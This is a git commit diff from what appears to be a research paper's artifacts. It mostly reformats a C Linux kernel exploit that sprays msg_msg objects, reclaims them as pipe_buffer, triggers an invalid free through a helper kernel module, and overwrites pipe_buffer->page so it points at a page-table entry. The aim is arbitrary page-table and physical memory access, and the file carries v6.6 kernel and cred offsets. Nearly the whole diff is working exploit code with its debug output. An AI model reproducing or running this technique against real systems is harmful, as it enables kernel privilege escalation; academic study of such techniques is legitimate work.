playing around a bit
This commit is contained in:
parent
58a4f4761f
commit
3503de83da
33 changed files with 1317 additions and 906 deletions
1
paper/artifacts/.envrc
Normal file
1
paper/artifacts/.envrc
Normal file
|
@ -0,0 +1 @@
|
|||
use flake
|
|
@ -3,9 +3,9 @@ KVERSION = $(shell uname -r)
|
|||
all: build modules remove insert
|
||||
init: build modules insert
|
||||
remove:
|
||||
sudo rmmod lkm
|
||||
rmmod lkm
|
||||
insert:
|
||||
sudo insmod lkm.ko && sudo chmod 666 /dev/lkm
|
||||
insmod lkm.ko && chmod 666 /dev/lkm
|
||||
modules:
|
||||
make -C /lib/modules/$(KVERSION)/build M=$(PWD) modules
|
||||
clean:
|
||||
|
|
|
@ -1,16 +1,18 @@
|
|||
#include "utils.h"
|
||||
#include "ulkm.h"
|
||||
#include "msg_msg.h"
|
||||
#include "pipe_buffer.h"
|
||||
#include "pgtable.h"
|
||||
#include "tlb_flush.h"
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/mman.h>
|
||||
#include <pthread.h>
|
||||
#include <assert.h>
|
||||
#define _GNU_SOURCE
|
||||
#include <unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/syscall.h>
|
||||
|
||||
#include <assert.h>
|
||||
#include <fcntl.h>
|
||||
#include <pthread.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include "msg_msg.h"
|
||||
#include "pgtable.h"
|
||||
#include "pipe_buffer.h"
|
||||
#include "tlb_flush.h"
|
||||
#include "ulkm.h"
|
||||
#include "utils.h"
|
||||
|
||||
// #define ANON_PIPE_BUF_OPS_OFFSET 0x1648cc0 // v6.8
|
||||
#define ANON_PIPE_BUF_OPS_OFFSET 0x1448280 // v6.6
|
||||
|
@ -19,7 +21,7 @@
|
|||
#define RESTORE
|
||||
|
||||
#define TASK_STRUCT_SLAB_ORDER 3
|
||||
#define TASK_STRUCT_SIZE 10496
|
||||
#define TASK_STRUCT_SIZE 10496
|
||||
// #define TASK_STRUCT_COMM_OFFSET 3008
|
||||
#define TASK_STRUCT_COMM_OFFSET 3016
|
||||
// #define TASK_STRUCT_PID_OFFSET 2464
|
||||
|
@ -29,38 +31,38 @@
|
|||
// #define TASK_STRUCT_REAL_CRED_OFFSET 2984
|
||||
#define TASK_STRUCT_REAL_CRED_OFFSET 2992
|
||||
// #define TASK_STRUCT_CRED_OFFSET 2992
|
||||
#define TASK_STRUCT_CRED_OFFSET 3000
|
||||
#define TASK_STRUCT_CRED_OFFSET 3000
|
||||
|
||||
#define CRED_UID_GID_OFFSET 8
|
||||
#define CRED_SUID_SGID_OFFSET 16
|
||||
#define CRED_EUID_EGID_OFFSET 24
|
||||
#define CRED_FSUID_FSGID_OFFSET 32
|
||||
#define CRED_UID_GID_OFFSET 8
|
||||
#define CRED_SUID_SGID_OFFSET 16
|
||||
#define CRED_EUID_EGID_OFFSET 24
|
||||
#define CRED_FSUID_FSGID_OFFSET 32
|
||||
#define CRED_CAP_INHERITABLE_OFFSET 48
|
||||
#define CRED_CAP_PERMITTED_OFFSET 56
|
||||
#define CRED_CAP_EFFECTIVE_OFFSET 64
|
||||
#define CRED_CAP_BSET_OFFSET 72
|
||||
#define CRED_CAP_AMBIENT_OFFSET 80
|
||||
#define CRED_CAP_PERMITTED_OFFSET 56
|
||||
#define CRED_CAP_EFFECTIVE_OFFSET 64
|
||||
#define CRED_CAP_BSET_OFFSET 72
|
||||
#define CRED_CAP_AMBIENT_OFFSET 80
|
||||
|
||||
#define PAGE_SIZE (1<<12)
|
||||
#define PAGE_SIZE (1 << 12)
|
||||
|
||||
#define OBJ_PER_SLAB 42
|
||||
#define OBJ_PER_SLAB 42
|
||||
|
||||
#define MSG_SPRAYS (OBJ_PER_SLAB*40)
|
||||
#define MSG_FREE (MSG_SPRAYS-2*OBJ_PER_SLAB)
|
||||
#define MSG_TYPE 0x41
|
||||
#define MSG_HEADER 48
|
||||
#define MSG_NEXT_HEADER 8
|
||||
#define __MSG_SIZE 96
|
||||
#define MSG_SIZE (__MSG_SIZE-MSG_HEADER)
|
||||
#define MSG_SPRAYS (OBJ_PER_SLAB * 40)
|
||||
#define MSG_FREE (MSG_SPRAYS - 2 * OBJ_PER_SLAB)
|
||||
#define MSG_TYPE 0x41
|
||||
#define MSG_HEADER 48
|
||||
#define MSG_NEXT_HEADER 8
|
||||
#define __MSG_SIZE 96
|
||||
#define MSG_SIZE (__MSG_SIZE - MSG_HEADER)
|
||||
|
||||
#define MSG_SPRAYS2 (OBJ_PER_SLAB*4)
|
||||
#define MSG_TYPE2 0x42
|
||||
#define __MSG_SIZE2 (4096+__MSG_SIZE)
|
||||
#define MSG_SIZE2 (__MSG_SIZE2-MSG_HEADER-MSG_NEXT_HEADER)
|
||||
#define MSG_SPRAYS2 (OBJ_PER_SLAB * 4)
|
||||
#define MSG_TYPE2 0x42
|
||||
#define __MSG_SIZE2 (4096 + __MSG_SIZE)
|
||||
#define MSG_SIZE2 (__MSG_SIZE2 - MSG_HEADER - MSG_NEXT_HEADER)
|
||||
|
||||
#define PIPE_SPRAY (OBJ_PER_SLAB*4)
|
||||
#define PIPE_SIZE 40
|
||||
#define PIPE_CNT 1
|
||||
#define PIPE_SPRAY (OBJ_PER_SLAB * 4)
|
||||
#define PIPE_SIZE 40
|
||||
#define PIPE_CNT 1
|
||||
|
||||
int qids[MSG_SPRAYS];
|
||||
int qids2[MSG_SPRAYS2];
|
||||
|
@ -79,325 +81,359 @@ char page_content_org[sizeof(buffer)];
|
|||
|
||||
int pipes[PIPE_SPRAY][2];
|
||||
|
||||
void cleanup(void)
|
||||
void
|
||||
cleanup(void)
|
||||
{
|
||||
printf("[*] cleanup\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
cleanup_queue(qids[i]);
|
||||
for (size_t i = 0; i < MSG_SPRAYS2; ++i)
|
||||
if (i != overlayed_id)
|
||||
cleanup_queue_no_err(qids2[i]);
|
||||
printf("[*] cleanup\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
cleanup_queue(qids[i]);
|
||||
for (size_t i = 0; i < MSG_SPRAYS2; ++i)
|
||||
if (i != overlayed_id)
|
||||
cleanup_queue_no_err(qids2[i]);
|
||||
}
|
||||
|
||||
size_t pipe_buffer;
|
||||
void stage1(void)
|
||||
void
|
||||
stage1(void)
|
||||
{
|
||||
msg *message = (msg *)buffer;
|
||||
message->mtype = MSG_TYPE;
|
||||
msg *message = (msg *)buffer;
|
||||
message->mtype = MSG_TYPE;
|
||||
|
||||
printf("[*] alloc msg_queue\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
qids[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
|
||||
printf("[*] alloc msg_queue\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
qids[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
|
||||
|
||||
printf("[*] alloc msg_msg\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
send_msg(qids[i], message, MSG_SIZE, 0);
|
||||
printf("[*] alloc msg_msg\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
send_msg(qids[i], message, MSG_SIZE, 0);
|
||||
|
||||
lkm_msg_msg_leak((size_t)&msg_msg, qids[MSG_FREE], MSG_TYPE);
|
||||
printf("[+] leaked msg_msg %016zx\n", msg_msg);
|
||||
lkm_msg_msg_leak((size_t)&msg_msg, qids[MSG_FREE], MSG_TYPE);
|
||||
printf("[+] leaked msg_msg %016zx\n", msg_msg);
|
||||
|
||||
printf("[*] free msg_msg\n");
|
||||
memset(buffer, 0x41, sizeof(buffer));
|
||||
// free all all but 1 of the current slab
|
||||
// creates all free slots on the slot except one
|
||||
// except one because to prevent returning the partial slab to the page allocator (unlikely but may be)
|
||||
for (ssize_t i = -OBJ_PER_SLAB*2; i < OBJ_PER_SLAB; ++i)
|
||||
get_msg(qids[MSG_FREE+i], message, MSG_SIZE, 0, IPC_NOWAIT);
|
||||
for (size_t i = 0; i < PIPE_SPRAY; ++i) {
|
||||
alloc_pipes(pipes[i], O_NONBLOCK);
|
||||
resize_pipe(pipes[i][0], 2);
|
||||
write_pipe(pipes[i][1], buffer, 8);
|
||||
}
|
||||
printf("[*] reclaimed as pipe_buffer\n");
|
||||
pipe_buffer = (msg_msg & ~0xfff) + __MSG_SIZE;
|
||||
printf("[+] pipe_buffer %016zx\n", pipe_buffer);
|
||||
printf("[*] free msg_msg\n");
|
||||
memset(buffer, 0x41, sizeof(buffer));
|
||||
// free all all but 1 of the current slab
|
||||
// creates all free slots on the slot except one
|
||||
// except one because to prevent returning the partial slab to the
|
||||
// page allocator (unlikely but may be)
|
||||
for (ssize_t i = -OBJ_PER_SLAB * 2; i < OBJ_PER_SLAB; ++i)
|
||||
get_msg(qids[MSG_FREE + i], message, MSG_SIZE, 0, IPC_NOWAIT);
|
||||
for (size_t i = 0; i < PIPE_SPRAY; ++i) {
|
||||
alloc_pipes(pipes[i], O_NONBLOCK);
|
||||
resize_pipe(pipes[i][0], 2);
|
||||
write_pipe(pipes[i][1], buffer, 8);
|
||||
}
|
||||
printf("[*] reclaimed as pipe_buffer\n");
|
||||
pipe_buffer = (msg_msg & ~0xfff) + __MSG_SIZE;
|
||||
printf("[+] pipe_buffer %016zx\n", pipe_buffer);
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[*] pipe_buffer:\n");
|
||||
for (ssize_t i = 0; i < PIPE_SIZE+__MSG_SIZE; i += 8) {
|
||||
size_t tmp;
|
||||
lkm_read(pipe_buffer+i, (size_t)&tmp);
|
||||
printf("%016zx\n", tmp);
|
||||
}
|
||||
printf("[*] pipe_buffer:\n");
|
||||
for (ssize_t i = 0; i < PIPE_SIZE + __MSG_SIZE; i += 8) {
|
||||
size_t tmp;
|
||||
lkm_read(pipe_buffer + i, (size_t)&tmp);
|
||||
printf("%016zx\n", tmp);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
size_t vmemmap_pud;
|
||||
#ifdef RESTORE
|
||||
char pipe_buffer_old_content[PIPE_SIZE];
|
||||
void save_pipe_buffer_state(void)
|
||||
void
|
||||
save_pipe_buffer_state(void)
|
||||
{
|
||||
for (size_t i = 0; i < PIPE_SIZE; i += 8)
|
||||
lkm_read(pipe_buffer+i, (size_t)&pipe_buffer_old_content[i]);
|
||||
printf("[*] temporarily store pipe_buffer content\n");
|
||||
for (size_t i = 0; i < PIPE_SIZE; i += 8)
|
||||
lkm_read(pipe_buffer + i, (size_t)&pipe_buffer_old_content[i]);
|
||||
printf("[*] temporarily store pipe_buffer content\n");
|
||||
}
|
||||
void restore_pipe_buffer_state(void)
|
||||
void
|
||||
restore_pipe_buffer_state(void)
|
||||
{
|
||||
for (size_t i = 0; i < PIPE_SIZE; i += 8)
|
||||
lkm_write(pipe_buffer+i, *(size_t *)(pipe_buffer_old_content + i));
|
||||
printf("[*] store old pipe_buffer content\n");
|
||||
for (size_t i = 0; i < PIPE_SIZE; i += 8)
|
||||
lkm_write(pipe_buffer + i,
|
||||
*(size_t *)(pipe_buffer_old_content + i));
|
||||
printf("[*] store old pipe_buffer content\n");
|
||||
}
|
||||
#else
|
||||
void save_pipe_buffer_state(void) {}
|
||||
void restore_pipe_buffer_state(void) {}
|
||||
void
|
||||
save_pipe_buffer_state(void)
|
||||
{
|
||||
}
|
||||
void
|
||||
restore_pipe_buffer_state(void)
|
||||
{
|
||||
}
|
||||
#endif
|
||||
|
||||
size_t address;
|
||||
size_t pud;
|
||||
void stage2(void)
|
||||
void
|
||||
stage2(void)
|
||||
{
|
||||
printf("[*] leak pud\n");
|
||||
address = (void *)mmap((void *)((1ULL<<39)|255*(1ULL<<30)), PAGE_SIZE, PROT_WRITE|PROT_READ, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0);
|
||||
if ((void *)address == MAP_FAILED) {
|
||||
perror("mmap()");
|
||||
exit(-1);
|
||||
}
|
||||
*(volatile size_t *)address;
|
||||
size_t pgde;
|
||||
size_t pude;
|
||||
size_t pmde;
|
||||
size_t pte;
|
||||
lkm_arb_pagetable_wald(address, &pgde, &pude, &pmde, &pte);
|
||||
pud = dpm_base + (pgde & ~(0xfff));
|
||||
printf("[*] %016zx: %016zx -> %016zx -> %016zx -> %016zx\n", address, pgde, pude, pmde, pte);
|
||||
printf("[*] pud %016zx\n", pud);
|
||||
printf("[*] leak pud\n");
|
||||
address = (void *)mmap((void *)((1ULL << 39) | 255 * (1ULL << 30)),
|
||||
PAGE_SIZE, PROT_WRITE | PROT_READ,
|
||||
MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
|
||||
if ((void *)address == MAP_FAILED) {
|
||||
perror("mmap()");
|
||||
exit(-1);
|
||||
}
|
||||
*(volatile size_t *)address;
|
||||
size_t pgde;
|
||||
size_t pude;
|
||||
size_t pmde;
|
||||
size_t pte;
|
||||
lkm_arb_pagetable_wald(address, &pgde, &pude, &pmde, &pte);
|
||||
pud = dpm_base + (pgde & ~(0xfff));
|
||||
printf("[*] %016zx: %016zx -> %016zx -> %016zx -> %016zx\n", address,
|
||||
pgde, pude, pmde, pte);
|
||||
printf("[*] pud %016zx\n", pud);
|
||||
}
|
||||
|
||||
struct pipe_buffer {
|
||||
size_t page;
|
||||
unsigned int len;
|
||||
unsigned int offset;
|
||||
size_t ops;
|
||||
unsigned int flags;
|
||||
size_t private;
|
||||
size_t page;
|
||||
unsigned int len;
|
||||
unsigned int offset;
|
||||
size_t ops;
|
||||
unsigned int flags;
|
||||
size_t private;
|
||||
};
|
||||
|
||||
#define PHYS_TO_VMEMMAP(x) ((((x) >> 12) << 6) + vmemmap_base)
|
||||
#define DPM_TO_VMEMMAP(x) PHYS_TO_VMEMMAP((x) - dpm_base)
|
||||
void stage3(void)
|
||||
#define DPM_TO_VMEMMAP(x) PHYS_TO_VMEMMAP((x) - dpm_base)
|
||||
void
|
||||
stage3(void)
|
||||
{
|
||||
vmemmap_pud = DPM_TO_VMEMMAP(pud);
|
||||
save_pipe_buffer_state();
|
||||
vmemmap_pud = DPM_TO_VMEMMAP(pud);
|
||||
save_pipe_buffer_state();
|
||||
|
||||
memset(buffer, 0, sizeof(buffer));
|
||||
memset(buffer, 0, sizeof(buffer));
|
||||
|
||||
msg *message = (msg *)buffer;
|
||||
message->mtype = MSG_TYPE2;
|
||||
printf("[*] alloc queues for reclaiming invalid free\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS2; ++i)
|
||||
qids2[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
|
||||
msg *message = (msg *)buffer;
|
||||
message->mtype = MSG_TYPE2;
|
||||
printf("[*] alloc queues for reclaiming invalid free\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS2; ++i)
|
||||
qids2[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
|
||||
|
||||
printf("[*] invalid free at %016zx\n", pipe_buffer-8);
|
||||
lkm_arb_free(pipe_buffer-8);
|
||||
printf("[*] invalid free at %016zx\n", pipe_buffer - 8);
|
||||
lkm_arb_free(pipe_buffer - 8);
|
||||
|
||||
printf("[*] overwrite pipe_buffer->page with %016zx\n", vmemmap_pud);
|
||||
struct pipe_buffer *corr_pipe_buffer = (struct pipe_buffer *)(buffer + 8 + 4096 - MSG_HEADER);
|
||||
memset(corr_pipe_buffer, 0, sizeof(struct pipe_buffer));
|
||||
corr_pipe_buffer->page = vmemmap_pud;
|
||||
corr_pipe_buffer->offset = 8;
|
||||
corr_pipe_buffer->len = 15;
|
||||
corr_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET;
|
||||
corr_pipe_buffer->flags = 0x10;
|
||||
for (size_t i = 0; i < MSG_SPRAYS2; ++i)
|
||||
send_msg(qids2[i], message, MSG_SIZE2, 0);
|
||||
printf("[*] overwrite pipe_buffer->page with %016zx\n", vmemmap_pud);
|
||||
struct pipe_buffer *corr_pipe_buffer = (struct pipe_buffer *)(buffer +
|
||||
8 + 4096 - MSG_HEADER);
|
||||
memset(corr_pipe_buffer, 0, sizeof(struct pipe_buffer));
|
||||
corr_pipe_buffer->page = vmemmap_pud;
|
||||
corr_pipe_buffer->offset = 8;
|
||||
corr_pipe_buffer->len = 15;
|
||||
corr_pipe_buffer->ops = code_base + ANON_PIPE_BUF_OPS_OFFSET;
|
||||
corr_pipe_buffer->flags = 0x10;
|
||||
for (size_t i = 0; i < MSG_SPRAYS2; ++i)
|
||||
send_msg(qids2[i], message, MSG_SIZE2, 0);
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[*] pipe_buffer:\n");
|
||||
for (ssize_t i = 0; i < PIPE_SIZE+__MSG_SIZE; i += 8) {
|
||||
size_t tmp;
|
||||
lkm_read(pipe_buffer+i, (size_t)&tmp);
|
||||
printf("%016zx\n", tmp);
|
||||
}
|
||||
printf("[*] pipe_buffer:\n");
|
||||
for (ssize_t i = 0; i < PIPE_SIZE + __MSG_SIZE; i += 8) {
|
||||
size_t tmp;
|
||||
lkm_read(pipe_buffer + i, (size_t)&tmp);
|
||||
printf("%016zx\n", tmp);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
void pud_print(void)
|
||||
void
|
||||
pud_print(void)
|
||||
{
|
||||
printf("[*] print pud\n");
|
||||
for (size_t i = 0; i < 16*8; i += 8) {
|
||||
size_t tmp;
|
||||
lkm_read(pud+i, (size_t)&tmp);
|
||||
printf("%016zx: %016zx\n", pud+i, tmp);
|
||||
}
|
||||
printf("[*] print pud\n");
|
||||
for (size_t i = 0; i < 16 * 8; i += 8) {
|
||||
size_t tmp;
|
||||
lkm_read(pud + i, (size_t)&tmp);
|
||||
printf("%016zx: %016zx\n", pud + i, tmp);
|
||||
}
|
||||
}
|
||||
|
||||
#define IS_VMEMMAP(x) (((x) & ~((1<<30)-1)) == vmemmap_base)
|
||||
#define IS_VMEMMAP(x) (((x) & ~((1 << 30) - 1)) == vmemmap_base)
|
||||
size_t page_fd = -1;
|
||||
size_t pivot_addr;
|
||||
void stage4(void)
|
||||
void
|
||||
stage4(void)
|
||||
{
|
||||
size_t count = 0;
|
||||
printf("[*] find overwritten pipe_buffer\n");
|
||||
for (size_t i = 0; i < PIPE_SPRAY; ++i) {
|
||||
memset(buffer, 0, sizeof(buffer));
|
||||
read_pipe(pipes[i][0], buffer, 7);
|
||||
if (buffer[0] != 0x41) {
|
||||
buffer[7] = -1;
|
||||
count++;
|
||||
page_fd = i;
|
||||
printf("[+] found pipe_buffer fd %4zd\n", page_fd);
|
||||
if (IS_VMEMMAP(*(size_t *)(buffer))) {
|
||||
printf("[+] found page %016zx\n", *(size_t *)(buffer));
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
size_t count = 0;
|
||||
printf("[*] find overwritten pipe_buffer\n");
|
||||
for (size_t i = 0; i < PIPE_SPRAY; ++i) {
|
||||
memset(buffer, 0, sizeof(buffer));
|
||||
read_pipe(pipes[i][0], buffer, 7);
|
||||
if (buffer[0] != 0x41) {
|
||||
buffer[7] = -1;
|
||||
count++;
|
||||
page_fd = i;
|
||||
printf("[+] found pipe_buffer fd %4zd\n", page_fd);
|
||||
if (IS_VMEMMAP(*(size_t *)(buffer))) {
|
||||
printf("[+] found page %016zx\n",
|
||||
*(size_t *)(buffer));
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (page_fd == (size_t)-1 || count != 1) {
|
||||
printf("[!] count %zd\n", count);
|
||||
printf("[!] page_fd %016zx\n", page_fd);
|
||||
restore_pipe_buffer_state();
|
||||
exit(-1);
|
||||
}
|
||||
if (page_fd == (size_t)-1 || count != 1) {
|
||||
printf("[!] count %zd\n", count);
|
||||
printf("[!] page_fd %016zx\n", page_fd);
|
||||
restore_pipe_buffer_state();
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
printf("[*] find msg_msg that overlays the corrupted pipe_buffer\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS2; ++i) {
|
||||
memset(buffer, 0, sizeof(buffer));
|
||||
get_msg(qids2[i], buffer, MSG_SIZE2, 0, MSG_COPY|IPC_NOWAIT);
|
||||
struct pipe_buffer *corr_pipe_buffer = (struct pipe_buffer *)(buffer + 8 + 4096 - MSG_HEADER);
|
||||
if (corr_pipe_buffer->offset != 8 || corr_pipe_buffer->len != 15) {
|
||||
printf("[+] found overlayed msg_msg %zd\n", i);
|
||||
overlayed_id = i;
|
||||
}
|
||||
}
|
||||
printf("[*] find msg_msg that overlays the corrupted pipe_buffer\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS2; ++i) {
|
||||
memset(buffer, 0, sizeof(buffer));
|
||||
get_msg(qids2[i], buffer, MSG_SIZE2, 0, MSG_COPY | IPC_NOWAIT);
|
||||
struct pipe_buffer *corr_pipe_buffer =
|
||||
(struct pipe_buffer *)(buffer + 8 + 4096 - MSG_HEADER);
|
||||
if (corr_pipe_buffer->offset != 8 ||
|
||||
corr_pipe_buffer->len != 15) {
|
||||
printf("[+] found overlayed msg_msg %zd\n", i);
|
||||
overlayed_id = i;
|
||||
}
|
||||
}
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[*] pipe_buffer:\n");
|
||||
for (ssize_t i = 0; i < PIPE_SIZE+__MSG_SIZE; i += 8) {
|
||||
size_t tmp;
|
||||
lkm_read(pipe_buffer+i, (size_t)&tmp);
|
||||
printf("%016zx\n", tmp);
|
||||
}
|
||||
printf("[*] pipe_buffer:\n");
|
||||
for (ssize_t i = 0; i < PIPE_SIZE + __MSG_SIZE; i += 8) {
|
||||
size_t tmp;
|
||||
lkm_read(pipe_buffer + i, (size_t)&tmp);
|
||||
printf("%016zx\n", tmp);
|
||||
}
|
||||
#endif
|
||||
|
||||
printf("[*] write to pud\n");
|
||||
char _cor_pude[16*8+1];
|
||||
memset(_cor_pude, 0, sizeof(_cor_pude));
|
||||
for (size_t i = 0; i < 16; ++i) {
|
||||
*(size_t *)(_cor_pude + 1 + 8*i) = PAGE_TABLE_LARGE + i*(1ULL << 30) + (4ULL << 30);
|
||||
}
|
||||
write_pipe(pipes[page_fd][1], (void *)_cor_pude, 16*8);
|
||||
printf("[*] write to pud\n");
|
||||
char _cor_pude[16 * 8 + 1];
|
||||
memset(_cor_pude, 0, sizeof(_cor_pude));
|
||||
for (size_t i = 0; i < 16; ++i) {
|
||||
*(size_t *)(_cor_pude + 1 + 8 * i) = PAGE_TABLE_LARGE +
|
||||
i * (1ULL << 30) + (4ULL << 30);
|
||||
}
|
||||
write_pipe(pipes[page_fd][1], (void *)_cor_pude, 16 * 8);
|
||||
|
||||
pivot_addr = ((1ULL<<39)|3*(1ULL<<30));
|
||||
size_t pgde;
|
||||
size_t pude;
|
||||
size_t pmde;
|
||||
size_t pte;
|
||||
lkm_arb_pagetable_wald(pivot_addr, &pgde, &pude, &pmde, &pte);
|
||||
printf("[*] %016zx: %016zx -> %016zx -> %016zx -> %016zx\n", pivot_addr, pgde, pude, pmde, pte);
|
||||
pivot_addr = ((1ULL << 39) | 3 * (1ULL << 30));
|
||||
size_t pgde;
|
||||
size_t pude;
|
||||
size_t pmde;
|
||||
size_t pte;
|
||||
lkm_arb_pagetable_wald(pivot_addr, &pgde, &pude, &pmde, &pte);
|
||||
printf("[*] %016zx: %016zx -> %016zx -> %016zx -> %016zx\n", pivot_addr,
|
||||
pgde, pude, pmde, pte);
|
||||
|
||||
#ifdef DEBUG
|
||||
pud_print();
|
||||
printf("[*] pipe_buffer:\n");
|
||||
for (ssize_t i = 0; i < PIPE_SIZE+__MSG_SIZE; i += 8) {
|
||||
size_t tmp;
|
||||
lkm_read(pipe_buffer+i, (size_t)&tmp);
|
||||
printf("%016zx\n", tmp);
|
||||
}
|
||||
pud_print();
|
||||
printf("[*] pipe_buffer:\n");
|
||||
for (ssize_t i = 0; i < PIPE_SIZE + __MSG_SIZE; i += 8) {
|
||||
size_t tmp;
|
||||
lkm_read(pipe_buffer + i, (size_t)&tmp);
|
||||
printf("%016zx\n", tmp);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
size_t old_pt;
|
||||
size_t *arb_pt = (size_t *)-1;
|
||||
char *arb_page = (char *)-1;
|
||||
void stage5(void)
|
||||
void
|
||||
stage5(void)
|
||||
{
|
||||
for (size_t try = 0; try < 0x10; ++try) {
|
||||
char buf[PAGE_SIZE];
|
||||
char *ptr = mmap((void *)((1ULL << 46)|(1ULL<<39)*try), (1<<30), PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0);
|
||||
if (ptr == MAP_FAILED) {
|
||||
perror("mmap");
|
||||
cleanup();
|
||||
restore_pipe_buffer_state();
|
||||
exit(-1);
|
||||
}
|
||||
size_t mapping_space = (16ULL<<30);
|
||||
for (size_t try = 0; try < 0x10; ++try) {
|
||||
char buf[PAGE_SIZE];
|
||||
char *ptr = mmap((void *)((1ULL << 46) | (1ULL << 39) * try),
|
||||
(1 << 30), PROT_READ | PROT_WRITE,
|
||||
MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0);
|
||||
if (ptr == MAP_FAILED) {
|
||||
perror("mmap");
|
||||
cleanup();
|
||||
restore_pipe_buffer_state();
|
||||
exit(-1);
|
||||
}
|
||||
size_t mapping_space = (16ULL << 30);
|
||||
|
||||
printf("[*] init pt already mapped\n");
|
||||
char *pt_already_mapped = malloc(mapping_space/PAGE_SIZE);
|
||||
memset(pt_already_mapped, 0, mapping_space/PAGE_SIZE);
|
||||
for (size_t i = 0; i < mapping_space/PAGE_SIZE; ++i)
|
||||
if ((*(size_t *)(pivot_addr + PAGE_SIZE * i) & PTE) == PTE)
|
||||
pt_already_mapped[i] = 1;
|
||||
printf("[*] init pt already mapped\n");
|
||||
char *pt_already_mapped = malloc(mapping_space / PAGE_SIZE);
|
||||
memset(pt_already_mapped, 0, mapping_space / PAGE_SIZE);
|
||||
for (size_t i = 0; i < mapping_space / PAGE_SIZE; ++i)
|
||||
if ((*(size_t *)(pivot_addr + PAGE_SIZE * i) & PTE) ==
|
||||
PTE)
|
||||
pt_already_mapped[i] = 1;
|
||||
|
||||
printf("[*] map a lot of page tables\n");
|
||||
for (size_t i = 0; i < (1<<30); i += (1<<21))
|
||||
memset(ptr + i, 0x46, PAGE_SIZE);
|
||||
printf("[*] map a lot of page tables\n");
|
||||
for (size_t i = 0; i < (1 << 30); i += (1 << 21))
|
||||
memset(ptr + i, 0x46, PAGE_SIZE);
|
||||
|
||||
printf("[*] show where new page tables are\n");
|
||||
for (size_t i = 0; i < mapping_space/PAGE_SIZE; ++i) {
|
||||
if ((*(size_t *)(pivot_addr + PAGE_SIZE * i) & PTE) == PTE && pt_already_mapped[i] == 0) {
|
||||
printf("[+] found pt at %ld with %016zx\n", i, *(size_t *)(pivot_addr + PAGE_SIZE * i));
|
||||
arb_pt = (size_t *)(pivot_addr + PAGE_SIZE * i);
|
||||
old_pt = *arb_pt;
|
||||
*arb_pt = PTE;
|
||||
break;
|
||||
}
|
||||
}
|
||||
printf("[*] show where new page tables are\n");
|
||||
for (size_t i = 0; i < mapping_space / PAGE_SIZE; ++i) {
|
||||
if ((*(size_t *)(pivot_addr + PAGE_SIZE * i) & PTE) ==
|
||||
PTE &&
|
||||
pt_already_mapped[i] == 0) {
|
||||
printf("[+] found pt at %ld with %016zx\n", i,
|
||||
*(size_t *)(pivot_addr + PAGE_SIZE * i));
|
||||
arb_pt = (size_t *)(pivot_addr + PAGE_SIZE * i);
|
||||
old_pt = *arb_pt;
|
||||
*arb_pt = PTE;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
memset(buf, 0x46, PAGE_SIZE);
|
||||
for (size_t i = 0; i < (1<<30); i += (1<<21)) {
|
||||
if (memcmp(ptr + i, buf, PAGE_SIZE)) {
|
||||
arb_page = ptr + i;
|
||||
printf("[+] found page %016zx\n", (size_t)arb_page);
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (arb_page != (char *)-1)
|
||||
break;
|
||||
printf("[?] arbitrary page not found -> retry\n");
|
||||
}
|
||||
if (arb_page == (char *)-1) {
|
||||
printf("[!] arbitrary page not found\n");
|
||||
cleanup();
|
||||
restore_pipe_buffer_state();
|
||||
exit(-1);
|
||||
}
|
||||
printf("[+] success\n");
|
||||
memset(buf, 0x46, PAGE_SIZE);
|
||||
for (size_t i = 0; i < (1 << 30); i += (1 << 21)) {
|
||||
if (memcmp(ptr + i, buf, PAGE_SIZE)) {
|
||||
arb_page = ptr + i;
|
||||
printf("[+] found page %016zx\n",
|
||||
(size_t)arb_page);
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (arb_page != (char *)-1)
|
||||
break;
|
||||
printf("[?] arbitrary page not found -> retry\n");
|
||||
}
|
||||
if (arb_page == (char *)-1) {
|
||||
printf("[!] arbitrary page not found\n");
|
||||
cleanup();
|
||||
restore_pipe_buffer_state();
|
||||
exit(-1);
|
||||
}
|
||||
printf("[+] success\n");
|
||||
}
|
||||
|
||||
int main(void)
|
||||
int
|
||||
main(void)
|
||||
{
|
||||
int ret = 0;
|
||||
pin_to_core(0);
|
||||
set_limit();
|
||||
printf("[*] start\n");
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
int ret = 0;
|
||||
pin_to_core(0);
|
||||
set_limit();
|
||||
printf("[*] start\n");
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
